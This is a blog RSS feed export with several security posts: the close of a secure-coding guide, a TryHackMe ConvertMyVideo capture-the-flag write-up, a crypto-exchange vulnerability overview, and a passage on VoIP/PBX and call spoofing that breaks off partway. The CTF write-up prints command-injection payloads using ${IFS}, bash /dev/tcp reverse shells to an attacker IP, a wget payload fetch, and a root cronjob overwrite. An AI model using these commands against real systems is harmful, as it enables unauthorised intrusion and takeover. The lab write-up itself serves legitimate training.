<p>By validating file types, checking magic header bytes, limiting file sizes, renaming uploaded files, and storing them outside of the web root, you significantly reduce the risk of file upload vulnerabilities. These practices enhance the overall security of your application by ensuring that only safe files are accepted and executed.</p>
<h3 id="heading-additional-mitigation-tips-1">Additional Mitigation Tips</h3>
<ol>
<li><p><strong>Ensure Folder Permissions</strong>: Configure the upload folder with <code>chmod</code> settings that do not allow execution (e.g., <code>chmod 644</code> for files).</p>
</li>
<li><p><strong>Magic Header Bytes Limitations</strong>: Be aware that magic header bytes checking can be bypassed if attackers manipulate the byte headers. Always combine this with other validation methods like server-side MIME type checks.</p>
</li>
<li><p><strong>Client-Side &amp; Server-Side Validation</strong>: Validate the file's MIME type on both the client and server-side to ensure it matches the expected format. However, do not rely solely on client-side validation, as it can be manipulated by attackers.</p>
</li>
</ol>
<h1 id="heading-conclusion">Conclusion</h1>
<p>As we wrap up this journey through the various security vulnerabilities and their mitigations, I want to emphasize the importance of adopting a proactive mindset <strong>towards securing coding practices</strong>. Each vulnerability we’ve explored, from SQL Injection to File Upload Exploits, represents not just a potential risk, but an opportunity for us as developers to fortify our applications and protect our users.</p>
<p>The world of security may seem daunting, but it’s essential to remember that every developer starts somewhere. Just as I faced my initial challenges with <strong>secure coding</strong> during VAPT reviews, you too can transform your approach to coding security. By understanding these vulnerabilities and implementing the recommended best practices, you’re not just fixing issues — you’re building a robust foundation for your applications.</p>
<p>The tools and techniques we’ve discussed are here to help you create secure, resilient code that can stand up to scrutiny and keep your users safe. Embrace the learning process, ask questions, and continually seek to enhance your understanding of secure coding practices. With every vulnerability you address, you’re making your software more trustworthy, ensuring a better experience for everyone who interacts with it.</p>
<p>Thank you for taking the time to read this guide. I hope it empowers you to become a more security-conscious developer, turning challenges into stepping stones for growth. Together, let’s strive to make the web a safer place, one line of code at a time. Happy coding! 🛡️✨</p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe: ConvertMyVideo]]></title><description><![CDATA[Link to Lab - https://tryhackme.com/room/convertmyvideo
Lab Overview - My script to convert videos to MP3 is super secure.
A perfect room to understand from basic enumeration to limiting findings abusing a single found web application functionality t...]]></description><link>https://breachforce.net/tryhackme-convertmyvideo-lab</link><guid isPermaLink="true">https://breachforce.net/tryhackme-convertmyvideo-lab</guid><category><![CDATA[tryhackme-lab]]></category><category><![CDATA[tryhackme-labs]]></category><category><![CDATA[tryhackme-convertmyvideo]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[information security]]></category><category><![CDATA[hacking]]></category><category><![CDATA[#infosec]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Akbar Khan]]></dc:creator><pubDate>Sun, 06 Oct 2024 18:01:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254488901/8fef06af-ba7e-4675-b3b4-6e2b5f828104.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Link to Lab - <a target="_blank" href="https://tryhackme.com/room/convertmyvideo">https://tryhackme.com/room/convertmyvideo</a></p>
<p><strong>Lab Overview</strong> - My script to convert videos to MP3 is super secure.</p>
<p>A perfect room to understand from basic enumeration to limiting findings abusing a single found web application functionality trying to execute command injection using IFS and getting low privilege shell to further abusing cronjob to becoming a root.</p>
<h3 id="heading-task1-recon"><strong>TASK1  :  Recon</strong></h3>
<p>We will run an Nmap aggressive scan against our target.</p>
<p><code>nmap -A -sV 10.10.163.162 -v</code></p>
<p>Here is our Nmap result, where we can find 2 ports (22 and 80) as open to SSH. Since we need credentials, let’s go with port 80.</p>
<p>While opening the URL: http://10.10.163.162 in the browser, we found a webpage where we can convert our videos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254443187/798b61f2-b3d4-4515-b3f2-473ebdbba31a.png" alt /></p>
<p>Convert My Video</p>
<p>Let’s give some input and check what it does.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254444863/6ed82220-125b-4da3-8e44-c55f3d957b9e.png" alt /></p>
<p>We don’t clearly understand what it’s trying to do and why we are getting such an error.</p>
<p>So our next step will be enumerating further.</p>
<h3 id="heading-task2-enumerating"><strong>TASK2  :  Enumerating</strong></h3>
<p>For this task, we will capture this request and response in BURP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254447110/ef159d5a-6d77-4ca3-8db5-a1ee8bf5e379.png" alt /></p>
<p>So let’s try command injection in the <em>yt_url</em> parameter.</p>
<p><code>yt_url = ls</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254449364/b8ec9c07-bc96-43eb-9d11-dbdeeba14a92.png" alt /></p>
<p>As we can see, it uses YouTube-DL software. Let's enumerate this.</p>
<p><code>youtube-dl</code> is a command-line program to download videos from <a target="_blank" href="http://YouTube.com">YouTube</a> and a few other sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and is not platform-specific. It should work on your Unix box, on Windows, or on macOS. It is released to the public domain, which means you can modify it, redistribute it, or use it however you like.</p>
<p>We get a sort of command injection here.</p>
<p><code>yt_url = ls</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254450761/d3c1e8a3-975e-4e18-a33b-33561aa40d83.png" alt /></p>
<p>At this point, we start struggling with which command to run, as commands with spaces are not allowed.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254452392/a65ff2c4-1999-4018-834b-297fca40d1e2.png" alt /></p>
<p>After a bit of googling, we found something called IFS. It is a special shell variable, it stands for Internal Field Separator.</p>
<p><code>yt_url=`ls${IFS}-la` </code></p>
<p>Using this, we are getting a response. At least the command is being executed on the server.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254455037/b3ee8940-b334-4adc-986b-b424f13be40c.png" alt /></p>
<p>On multiple retries and failures, we found something interesting.</p>
<h3 id="heading-task3-exploitation"><strong>TASK3 : Exploitation</strong></h3>
<p>So we search for a one-liner reverse shell in bash.</p>
<p><code>bash -i &gt;&amp; /dev/tcp/10.11.48.237/9090 0&gt;&amp;1</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254456447/f288b0c6-6123-4031-94d1-d8299d2a8a71.png" alt /></p>
<p>Now we have to send this to the victim. I am hosting this payload using an HTTP server.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254458637/db26f1a3-f1b1-4b5e-8a70-2542136257dc.png" alt /></p>
<p>Using wget, we will try to download this payload on the victim machine. Then, we will execute it.</p>
<p><code>wget${IFS}http://10.11.48.237/rev.sh</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254460772/53f64694-33da-4794-89e4-0389fdd23a79.png" alt /></p>
<p>We will provide the execution permission to the payload and try to run it.</p>
<p><code>`chmod${IFS}777${IFS}rev.sh` </code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254463269/965a9a7e-f612-495c-b53c-3644fa33c51f.png" alt /></p>
<p>Let's start a listener on port 9090 as per our reverse shell payload and run this.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254465111/334e14e1-cc09-43f1-9695-6678edc00b79.png" alt /></p>
<p><code>`bash${IFS}rev.sh` </code></p>
<p><strong>BOOM!!!!!!!!!!! We got our low-level shell.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254467131/fe2633c6-197c-4aad-927c-f253d780f54e.png" alt /></p>
<h3 id="heading-task4-privilege-escalation"><strong>TASK4 : Privilege Escalation</strong></h3>
<p>Let's check the crontabs for any scheduled tasks executed by the root user.</p>
<p><code>Crontab -l</code></p>
<p><code>cat /etc/crontab</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254468647/606123e2-048c-49db-82e5-b105bddf2532.png" alt /></p>
<p><code>ps aux</code></p>
<p>Check the running process, as in the above approach we haven’t found anything juicy.</p>
<p>We found a cronjob being executed as a root user.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254470978/ad3febc1-a9d9-4274-9087-863d4447aadb.png" alt /></p>
<p>We can automate this process using <a target="_blank" href="http://linpeas.sh">linpeas.sh</a> or <a target="_blank" href="https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh">linenum.sh</a> which will highlight such interesting cronjobs in red.</p>
<p>We found a very interesting tool, <a target="_blank" href="https://github.com/DominicBreuker/pspy">pspy</a>, to look into the Linux process.</p>
<p><code>pspy</code> is a command-line tool designed to snoop on processes without needing root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs.</p>
<p>Also great to demonstrate to your colleagues why passing secrets as arguments on the command line is a bad idea.</p>
<p>The tool gathers the info from procfs scans. I notify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes.</p>
<p>We have downloaded this tool on the attacker machine and will send it to the victim the way we shared <em>rev.sh</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254472482/25d3cdc3-9a1b-4ae9-bdf8-c5be6a88c862.png" alt /></p>
<p><code>wget http://10.11.48.237:8080/pspy64</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254473721/1de2de12-6bad-4198-9748-3bd5b71549ad.png" alt /></p>
<p>Provide the required permission to execute it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254475334/f406941b-6d89-496e-a27a-5b8bce886a98.png" alt /></p>
<p>It might take 2–3 minutes to complete this job.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254477944/bc190ae8-461c-4260-89ea-79013bcfcc2f.png" alt /></p>
<p>Ok, so we found a process running as <em>clean.sh</em>. It is also running as a CRONJOB. Is this Cronjob overwriting? Let's give this a try.</p>
<p>Navigate to <code>/var/www/html/tmp/clean.sh</code> and check what it's doing.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254479544/984eb9c0-d252-4723-ab3c-cd37d87008d4.png" alt /></p>
<p>Modify our 1 liner and integrate it into this file.</p>
<p><code>bash -i &gt;&amp; /dev/tcp/10.11.48.237/5555 0&gt;&amp;1</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254480756/b0c86529-3a37-4227-89df-d6bea53ce5ec.png" alt /></p>
<p>And we are root</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254482082/b990caaa-cec3-4f0b-9b68-f282332c1d94.png" alt /></p>
<h3 id="heading-task5-capture-the-flags"><strong>TASK5 :  Capture the Flags</strong></h3>
<p><strong>What is the name of the secret folder?</strong></p>
<p>Admin</p>
<p><strong>What is the user to access the secret folder?</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254484331/baba6ecc-df45-46d2-b701-485574570637.png" alt /></p>
<p><strong>What is the user flag?</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254485869/4bf0474e-6f8e-4e54-a899-a9657961f0df.png" alt /></p>
<p><strong>What is the root flag?</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254487316/6938d449-a4f8-4a72-a43a-a3b01d09f8ae.png" alt /></p>
<p><em>Thank you for reading this blog. While attempting this challenge, I learnt so many things. This was a unique target with a unique vulnerability.</em></p>
]]></content:encoded></item><item><title><![CDATA[Crypto Exchange Hacking Basics: Security Vulnerabilities, Testing, and Mitigation]]></title><description><![CDATA[Cryptocurrency exchanges are frequent targets for hackers due to the high value of the digital assets they hold. Understanding common security vulnerabilities, knowing how to test them as an ethical hacker, and applying effective mitigation strategie...]]></description><link>https://breachforce.net/crypto-exchange-hacking-basics-security-vulnerabilities-testing-and-mitigation</link><guid isPermaLink="true">https://breachforce.net/crypto-exchange-hacking-basics-security-vulnerabilities-testing-and-mitigation</guid><category><![CDATA[crypto exchange hacks]]></category><category><![CDATA[Web3 Security]]></category><category><![CDATA[Cryptocurrency]]></category><category><![CDATA[crypto security]]></category><category><![CDATA[blockchain security]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[crypto]]></category><category><![CDATA[Cryptocurrency]]></category><category><![CDATA[Bitcoin]]></category><category><![CDATA[decentralized]]></category><category><![CDATA[Decentralized exchange]]></category><category><![CDATA[Web3]]></category><category><![CDATA[web3.0]]></category><category><![CDATA[Blockchain]]></category><dc:creator><![CDATA[Harsh Tandel]]></dc:creator><pubDate>Wed, 11 Sep 2024 05:30:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720077208452/bc1e2d9c-274d-4aab-8516-0997b8d8255e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cryptocurrency exchanges are frequent targets for hackers due to the high value of the digital assets they hold. Understanding common security vulnerabilities, knowing how to test them as an ethical hacker, and applying effective mitigation strategies are crucial for securing these platforms.</p>
<h2 id="heading-case-studies-of-crypto-exchange-hacking">Case Studies of Crypto Exchange Hacking</h2>
<h3 id="heading-1-mt-gox-2014">1. Mt. Gox (2014)</h3>
<ul>
<li><h4 id="heading-overview">Overview:</h4>
<p>Mt. Gox, based in Tokyo, was the largest Bitcoin exchange at its peak, handling over 70% of all Bitcoin transactions worldwide.</p>
</li>
<li><h4 id="heading-incident">Incident:</h4>
<p>In February 2014, Mt. Gox announced that approximately 850,000 Bitcoins (valued at around $450 million at the time) were stolen due to a security breach.</p>
</li>
<li><h4 id="heading-vulnerabilities-exploited">Vulnerabilities Exploited:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><p><strong>Weak Security Protocols</strong>: 
Lack of robust security measures and insufficient internal controls.</p>
</li>
<li><p><strong>Transaction Malleability</strong>: 
Exploit in the Bitcoin protocol that allowed attackers to alter transaction IDs.</p>
</li>
</ul>
</blockquote>
<ul>
<li><h4 id="heading-mitigation-strategies-post-incident">Mitigation Strategies Post-Incident:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><p>Enhanced security measures across exchanges.</p>
</li>
<li><p>Introduction of multisig (multi-signature) wallets to increase transaction security.</p>
</li>
</ul>
</blockquote>
<h3 id="heading-2-bitfinex-2016">2. Bitfinex (2016)</h3>
<ul>
<li><h4 id="heading-overview-1">Overview:</h4>
<p>Bitfinex is one of the largest cryptocurrency exchanges by trading volume.</p>
</li>
<li><h4 id="heading-incident-1">Incident:</h4>
<p>In August 2016, Bitfinex experienced a security breach, resulting in the loss of 119,756 Bitcoins (worth around $72 million at the time).</p>
</li>
<li><h4 id="heading-vulnerabilities-exploited-1">Vulnerabilities Exploited:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><p><strong>Security Flaws in Multisig Wallets</strong>: The attack exploited a vulnerability in the multisig wallets provided by BitGo, a third-party service.</p>
</li>
<li><p><strong>Compromised Private Keys</strong>: Attackers managed to compromise private keys used in the multisig wallets.</p>
</li>
</ul>
</blockquote>
<ul>
<li><h4 id="heading-mitigation-strategies-post-incident-1">Mitigation Strategies Post-Incident:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><p>Improved security protocols, including enhanced multisig implementations.</p>
</li>
<li><p>Closer scrutiny and auditing of third-party services.</p>
</li>
</ul>
</blockquote>
<h3 id="heading-3-coincheck-2018">3. Coincheck (2018)</h3>
<ul>
<li><h4 id="heading-overview-2">Overview:</h4>
<p>Coincheck is a Japanese cryptocurrency exchange.</p>
</li>
<li><h4 id="heading-incident-2">Incident:</h4>
<p>In January 2018, Coincheck suffered one of the largest heists in history, losing $530 million worth of NEM tokens.</p>
</li>
<li><h4 id="heading-vulnerabilities-exploited-2">Vulnerabilities Exploited:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><p><strong>Inadequate Cold Storage</strong>: Most of the stolen NEM tokens were stored in hot wallets, which are more susceptible to hacking.</p>
</li>
<li><p><strong>Poor Security Practices</strong>: Lack of robust security measures, including multi-factor authentication and proper encryption.</p>
</li>
</ul>
</blockquote>
<ul>
<li><h4 id="heading-mitigation-strategies-post-incident-2">Mitigation Strategies Post-Incident:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><p>Adoption of cold storage solutions for most funds.</p>
</li>
<li><p>Implementation of comprehensive security protocols and regular security audits.</p>
</li>
</ul>
</blockquote>
<h3 id="heading-4-binance-2019">4. Binance (2019)</h3>
<ul>
<li><h4 id="heading-overview-3">Overview:</h4>
<p>Binance is one of the world’s largest cryptocurrency exchanges by trading volume.</p>
</li>
<li><h4 id="heading-incident-3">Incident:</h4>
<p>In May 2019, Binance reported a security breach in which hackers stole 7,000 Bitcoins (worth around $40 million at the time).</p>
</li>
<li><h4 id="heading-vulnerabilities-exploited-3">Vulnerabilities Exploited:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><strong>API Keys, 2FA Codes, and Other Information</strong>: Hackers used a combination of techniques, including phishing and viruses, to obtain API keys, two-factor authentication codes, and other user data.</li>
</ul>
</blockquote>
<ul>
<li><h4 id="heading-mitigation-strategies-post-incident-3">Mitigation Strategies Post-Incident:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><p>Enhanced user authentication mechanisms and security protocols.</p>
</li>
<li><p>Creation of a Secure Asset Fund for Users (SAFU) to protect user funds in future breaches.</p>
</li>
</ul>
</blockquote>
<h3 id="heading-5-kucoin-2020">5. KuCoin (2020)</h3>
<ul>
<li><h4 id="heading-overview-4">Overview:</h4>
<p>KuCoin is a global cryptocurrency exchange with a significant user base.</p>
</li>
<li><h4 id="heading-incident-4">Incident:</h4>
<p>In September 2020, KuCoin announced that it had detected a security breach, resulting in the theft of over $280 million worth of various cryptocurrencies.</p>
</li>
<li><h4 id="heading-vulnerabilities-exploited-4">Vulnerabilities Exploited:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><strong>Compromised Private Keys</strong>: Attackers gained access to the private keys of KuCoin’s hot wallets.</li>
</ul>
</blockquote>
<ul>
<li><h4 id="heading-mitigation-strategies-post-incident-4">Mitigation Strategies Post-Incident:</h4>
</li>
</ul>
<blockquote>
<ul>
<li><p>Implementation of more stringent security measures, including enhanced cold storage solutions.</p>
</li>
<li><p>Collaboration with other exchanges and blockchain projects to recover stolen funds.</p>
</li>
</ul>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720032089955/7fe1a791-66b9-473d-859f-fc708db65396.jpeg" alt="Ethereum (ETH) cryptocurrency hacker" /></p>
<h2 id="heading-decentralised-exchanges-dexs">Decentralised Exchanges (DEXs)</h2>
<p>They are crucial components of the cryptocurrency ecosystem, enabling peer-to-peer trading without a central authority. However, they can be vulnerable to several types of critical vulnerabilities across different domains and parts. Here are some of the key vulnerabilities:</p>
<h3 id="heading-1-smart-contract-vulnerabilities">1. Smart Contract Vulnerabilities</h3>
<h4 id="heading-a-reentrancy-attacks">a. Reentrancy Attacks:</h4>
<ul>
<li><p><strong>Description:</strong> This occurs when a smart contract makes an external call to another untrusted contract before it resolves its internal state. This can allow the external contract to call back into the original function, potentially leading to multiple withdrawals of funds.</p>
</li>
<li><p><strong>Example:</strong> The infamous DAO hack in 2016.</p>
</li>
</ul>
<h4 id="heading-b-logic-flaws">b. Logic Flaws:</h4>
<ul>
<li><p><strong>Description:</strong> Errors in the logic of smart contracts can lead to unintended behavior, such as incorrect calculations or validation errors.</p>
</li>
<li><p><strong>Example:</strong> Inadequate input validation leading to incorrect trading calculations or bypassing security checks.</p>
</li>
</ul>
<h4 id="heading-c-integer-overflowsunderflows">c. Integer Overflows/Underflows:</h4>
<ul>
<li><p><strong>Description:</strong> These occur when arithmetic operations exceed the storage capacity of a variable, leading to unexpected behavior.</p>
</li>
<li><p><strong>Example:</strong> Overflowing a balance variable to gain unauthorized funds.</p>
</li>
</ul>
<h3 id="heading-2-blockchain-layer-vulnerabilities">2. Blockchain Layer Vulnerabilities</h3>
<h4 id="heading-a-consensus-mechanism-attacks">a. Consensus Mechanism Attacks:</h4>
<ul>
<li><p><strong>Description:</strong> Attacks targeting the consensus mechanism of the underlying blockchain, such as 51% attacks.</p>
</li>
<li><p><strong>Example:</strong> If an attacker gains control of more than 50% of the network’s hashing power, they could potentially double-spend coins.</p>
</li>
</ul>
<h4 id="heading-b-front-running">b. Front-running:</h4>
<ul>
<li><p><strong>Description:</strong> When a malicious actor preemptively executes transactions by observing the pending transactions in the mempool, profiting at the expense of legitimate users.</p>
</li>
<li><p><strong>Example:</strong> An attacker observes a large buy order in the mempool and places their own buy order to benefit from the price increase.</p>
</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*3MrBvo-PJUBz15Ahe7Gzbg.jpeg" alt="Blockchain" /></p>
<h3 id="heading-3-off-chain-components">3. Off-chain Components</h3>
<h4 id="heading-a-oracle-manipulation">a. Oracle Manipulation:</h4>
<ul>
<li><p><strong>Description:</strong> Oracles provide external data to smart contracts. Manipulating the data provided by oracles can lead to incorrect contract execution.</p>
</li>
<li><p><strong>Example:</strong> Feeding incorrect price data to manipulate the outcomes of trading contracts.</p>
</li>
</ul>
<h4 id="heading-b-api-exploits">b. API Exploits:</h4>
<ul>
<li><p><strong>Description:</strong> Vulnerabilities in the APIs used by DEXs to interact with external services can be exploited to gain unauthorized access or manipulate data.</p>
</li>
<li><p><strong>Example:</strong> Exploiting a poorly secured API to siphon funds or alter trade data.</p>
</li>
</ul>
<h3 id="heading-4-user-interface-ui-vulnerabilities">4. User Interface (UI) Vulnerabilities</h3>
<h4 id="heading-a-phishing-attacks">a. Phishing Attacks:</h4>
<ul>
<li><p><strong>Description:</strong> Fake interfaces or websites mimicking legitimate DEX platforms to steal user credentials and private keys.</p>
</li>
<li><p><strong>Example:</strong> Users entering their private keys or seed phrases on a fake DEX site.</p>
</li>
</ul>
<h4 id="heading-b-man-in-the-middle-mitm-attacks">b. Man-in-the-Middle (MITM) Attacks:</h4>
<ul>
<li><p><strong>Description:</strong> Intercepting and altering communications between the user and the DEX platform.</p>
</li>
<li><p><strong>Example:</strong> Intercepting a transaction request and modifying the recipient address.</p>
</li>
</ul>
<h3 id="heading-5-governance-vulnerabilities">5. Governance Vulnerabilities</h3>
<h4 id="heading-a-governance-manipulation">a. Governance Manipulation:</h4>
<ul>
<li><p><strong>Description:</strong> Exploiting flaws in the governance model to take control of decision-making processes.</p>
</li>
<li><p><strong>Example:</strong> Accumulating governance tokens to propose and pass malicious protocol changes.</p>
</li>
</ul>
<h3 id="heading-6-liquidity-risks">6. Liquidity Risks</h3>
<h4 id="heading-a-impermanent-loss">a. Impermanent Loss:</h4>
<ul>
<li><p><strong>Description:</strong> When the value of deposited assets in a liquidity pool changes compared to holding them directly, leading to potential losses for liquidity providers.</p>
</li>
<li><p><strong>Example:</strong> Significant price volatility affecting the value of assets in an automated market maker (AMM) pool.</p>
</li>
</ul>
<h4 id="heading-b-liquidity-mining-exploits">b. Liquidity Mining Exploits:</h4>
<ul>
<li><p><strong>Description:</strong> Exploiting incentives for providing liquidity to drain funds from the protocol.</p>
</li>
<li><p><strong>Example:</strong> Sybil attack is when an attacker creates multiple addresses to earn disproportionate rewards.</p>
</li>
</ul>
<h3 id="heading-7-regulatory-and-compliance-risks">7. Regulatory and Compliance Risks</h3>
<h4 id="heading-a-regulatory-crackdowns">a. Regulatory Crackdowns:</h4>
<ul>
<li><strong>Description:</strong> Government actions against DEXs for non-compliance with local regulations.</li>
</ul>
<ul>
<li><strong>Example:</strong> Regulatory actions leading to the shutdown or restriction of DEX operations.</li>
</ul>
<h3 id="heading-tools-and-resources">Tools and Resources</h3>
<ul>
<li><p><strong>Reconnaissance</strong>: Maltego, Shodan</p>
</li>
<li><p><strong>Scanning</strong>: Nmap, OWASP ZAP, Nessus</p>
</li>
<li><p><strong>Exploitation</strong>: Metasploit, SQLMap, Burp Suite</p>
</li>
<li><p><strong>Post-Exploitation</strong>: Wireshark</p>
</li>
<li><p><strong>Reporting</strong>: Dradis Framework, Faraday</p>
</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*lPEq7r4ZIKdSLHGIZglVfA.jpeg" alt /></p>
<ul>
<li><p><strong>Static Analysis Tools:</strong> Mythril, Slither, Oyente</p>
</li>
<li><p><strong>Fuzz Testing Tools:</strong> Echidna, Harvey</p>
</li>
<li><p><strong>Blockchain Analysis Tools:</strong> Manticore, Eth2.0-specific tools</p>
</li>
<li><p><strong>Network Monitoring Tools:</strong> Wireshark, Zeek</p>
</li>
<li><p><strong>API Testing Tools:</strong> Postman, Insomnia, Burp Suite</p>
</li>
<li><p><strong>UI Security Tools:</strong> OWASP ZAP, Selenium</p>
</li>
<li><p><strong>Formal Verification Tools:</strong> K-framework, Certora Prover</p>
</li>
</ul>
<p>By understanding these vulnerabilities and employing ethical hacking techniques, you can effectively identify and mitigate potential security risks in cryptocurrency exchanges. Regular testing, combined with robust security practices, ensures the protection of digital assets and user data.</p>
<p>That’s all for this write up and stay tuned for Crypto Exchange Hacking Beyond Basics. </p>
<p><strong>Thank You</strong></p>
]]></content:encoded></item><item><title><![CDATA[Building your VoIP system & Call Spoofing]]></title><description><![CDATA[Links

To the presentation
To my Linkedin

All of the infomation showed here is for educational purposes & to raise awareness about our current systems. Please don’t use this information for anything malicious.
How Do Businesses Setup Their Own Phone...]]></description><link>https://breachforce.net/building-your-voip-system-call-spoofing</link><guid isPermaLink="true">https://breachforce.net/building-your-voip-system-call-spoofing</guid><category><![CDATA[Free pbx system]]></category><category><![CDATA[SIP]]></category><category><![CDATA[sip trunking]]></category><category><![CDATA[voip]]></category><category><![CDATA[Asterisk Solutions]]></category><category><![CDATA[call]]></category><category><![CDATA[Stir/Shaken]]></category><dc:creator><![CDATA[Sumir Broota]]></dc:creator><pubDate>Sun, 08 Sep 2024 05:30:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1725766103139/4c10f7b8-15d4-43fa-a17c-511871d6b665.avif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h4 id="heading-links">Links</h4>
<ul>
<li><a target="_blank" href="https://www.canva.com/design/DAGOofBPbB8/JQcQCl2x8Cu2phFAxuTWUw/edit">To the presentation</a></li>
<li><a target="_blank" href="https://www.linkedin.com/in/sumir-broota/">To my Linkedin</a></li>
</ul>
<p><code>All of the infomation showed here is for educational purposes &amp; to raise awareness about our current systems. Please don’t use this information for anything malicious.</code></p>
<h2 id="heading-how-do-businesses-setup-their-own-phone-system">How Do Businesses Setup Their Own Phone System?</h2>
<ul>
<li>This is where Private Branch Exchange (PBX) systems come in to place</li>
<li>A PBX system is like a router creating a LAN for your legacy (or modern) internal phone systems</li>
<li>You can connect your PBX system to the public network using SIP trunk providers (similar to ISP’s)</li>
<li>Giving a single point of entry/exit to all your local phone systems.</li>
</ul>
<p><img src="https://sumirbroota.com/notes/images/PBX-system-working.png" alt="PBX System Working" /></p>
<h2 id="heading-types-of-pbx">Types of PBX</h2>
<h4 id="heading-analoglegacy-pbx">Analog/Legacy PBX</h4>
<ul>
<li>traditional onsite hardware PBX working via wired PSTN</li>
<li>business responsible for install/maintenance/monitoring</li>
<li>limited features + expensive hardware</li>
<li>obsolete</li>
</ul>
<h4 id="heading-on-prem-pbx">On-prem PBX</h4>
<ul>
<li>hosted &amp; managed on site by end user</li>
<li>powered by VoIP using IP PBX</li>
<li>requires purchase of own hardware &amp; in house team to maintain hence still expensive</li>
</ul>
<h4 id="heading-hostedcloudvirtual-pbx">Hosted/Cloud/Virtual PBX</h4>
<ul>
<li>VoIP based phone system maintained by 3rd party</li>
<li>has better savings, mobility, scalability</li>
<li>has advanced VoIP features</li>
</ul>
<h4 id="heading-hybrid-pbx">Hybrid PBX</h4>
<ul>
<li>mix of virtual &amp; hardware PBX</li>
<li>uses SIP trunking</li>
<li>end user still needs to maintain the on-prem phone system</li>
</ul>
<h2 id="heading-why-businesses-need-call-spoofing">Why Businesses need Call Spoofing</h2>
<p><img src="https://sumirbroota.com/notes/images/why-call-spoofing-is-used.avif" alt="Why Businesses Require Call Spoofing" />
Even though Alice has a different number, having the ability to spoof her no. with that of the companies allows her to get in touch with the customers</p>
<h2 id="heading-modern-phone-system-protocols">Modern Phone System Protocols</h2>
<h3 id="heading-sip-session-initiation-protocol">SIP (Session Initiation Protocol)</h3>
<ul>
<li>The de facto standard (text-based) for VoIP communication, used for initial authentication and negotiations when making connections.</li>
<li>SIP is an application layer protocol that uses UDP or TCP for traffic. By default, SIP uses UDP/TCP port 5060.</li>
</ul>
<h3 id="heading-rtp-real-time-transport-protocol">RTP (Real-Time Transport Protocol)</h3>
<ul>
<li>The actual voice or video traffic is transmitted via Real-Time Protocol (RTP or SRTP) after authentication and negotiations are done via SIP.</li>
</ul>
<h3 id="heading-sdp-session-description-protocol">SDP (Session Description Protocol)</h3>
<ul>
<li>SDP (Session Description Protocol) is a text-based format used to describe the characteristics of multimedia sessions, such as voice, video, or data conferencing, over IP networks.</li>
<li>SDP does not handle the actual media transmission or session establishment but is used in conjunction with other signaling protocols, like SIP, to negotiate and exchange information about the media streams and their attributes.</li>
</ul>
<h2 id="heading-shakenstir">SHAKEN/STIR</h2>
<blockquote>
<p>The current protection mechanism against call spoofing. This requires all SIP trunk providers to sign outgoing calls with their certificate, according to the legitimacy of the outbound caller id.</p>
</blockquote>
<ul>
<li><code>SHAKEN</code> stands for <code>S</code>ignature-based <code>H</code>andling of <code>A</code>sserted Information using to<code>KEN</code>s. It is a specification designed by the Alliance for Telecommunications Industry Solutions (ATIS) to fight caller ID spoofing.</li>
<li><code>STIR (Secure Telephone Identity Revisited)</code> is a protocol developed by the Internet Engineering Task Force (IETF) to enable end-to-end call authentication, but the protocol is very broad and doesn't ensure that different providers will be able to verify each others' calls.</li>
<li>The SIP provider certifies the classes of caller ID’s into the following:<ul>
<li>Class A - (most trusted). The number being dialed from has been authenticated by the service provider, and the caller has been authorized to use that number.</li>
